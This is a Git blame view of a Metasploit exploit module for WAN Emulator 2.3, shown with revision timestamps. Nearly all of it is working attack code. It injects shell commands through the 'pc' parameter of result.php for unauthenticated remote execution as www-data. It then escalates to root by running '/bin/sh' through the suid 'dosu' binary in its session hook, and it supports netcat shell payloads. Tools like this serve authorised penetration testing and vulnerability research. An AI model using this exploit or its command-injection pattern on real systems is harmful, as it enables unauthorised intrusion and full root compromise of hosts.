Files
metasploit-gs/modules/exploits/linux/http/wanem_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

110 lines
3.2 KiB
Ruby
Raw Normal View History

2012-09-08 16:01:45 +09:30
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-09-08 16:01:45 +09:30
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-09-08 16:01:45 +09:30
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WAN Emulator v2.3 Command Execution',
'Description' => %q{
This module exploits a command execution vulnerability in WAN Emulator
version 2.3 which can be abused to allow unauthenticated users to execute
arbitrary commands under the context of the 'www-data' user.
The 'result.php' script calls shell_exec() with user controlled data
from the 'pc' parameter. This module also exploits a command execution
vulnerability to gain root privileges. The 'dosu' binary is suid 'root'
and vulnerable to command execution in argument one.
},
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Author' =>
[
2019-01-10 19:19:14 +00:00
'bcoles', # Discovery and exploit
2012-09-08 16:01:45 +09:30
],
'References' =>
[
['OSVDB', '85344'],
['OSVDB', '85345']
],
2012-09-08 16:01:45 +09:30
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x22\x27",
2012-09-08 16:01:45 +09:30
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat netcat-e',
2012-09-08 16:01:45 +09:30
}
},
'DefaultOptions' =>
{
2015-09-01 10:43:45 +02:00
'EXITFUNC' => 'thread'
2012-09-08 16:01:45 +09:30
},
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-08-12'
2012-09-08 16:01:45 +09:30
))
end
def on_new_session(client)
client.shell_command_token("/UNIONFS/home/perc/dosu /bin/sh")
end
def check
fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
data = "pc=127.0.0.1; "
data << Rex::Text.uri_encode("echo #{fingerprint}")
data << "%26"
2016-02-01 15:12:03 -06:00
vprint_status("Sending check")
2012-09-08 16:01:45 +09:30
begin
res = send_request_cgi({
'uri' => '/WANem/result.php',
'method' => 'POST',
'data' => data
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
2016-02-01 15:12:03 -06:00
vprint_error("Connection failed")
return Exploit::CheckCode::Unknown
end
if res and res.code == 200 and res.body =~ /#{fingerprint}/
return Exploit::CheckCode::Vulnerable
2012-09-08 16:01:45 +09:30
else
return Exploit::CheckCode::Safe
end
end
def exploit
data = "pc=127.0.0.1; "
data << Rex::Text.uri_encode(payload.raw)
2012-09-08 16:01:45 +09:30
data << "%26"
2016-02-01 15:12:03 -06:00
print_status("Sending payload (#{payload.raw.length} bytes)")
2012-09-08 16:01:45 +09:30
begin
res = send_request_cgi({
'uri' => '/WANem/result.php',
'method' => 'POST',
'data' => data
}, 25)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
2016-02-01 15:12:03 -06:00
print_error("Connection failed")
2012-09-08 16:01:45 +09:30
end
if res and res.code == 200
2016-02-01 15:12:03 -06:00
print_good("Payload sent successfully")
2012-09-08 16:01:45 +09:30
else
2016-02-01 15:12:03 -06:00
print_error("Sending payload failed")
2012-09-08 16:01:45 +09:30
end
end
end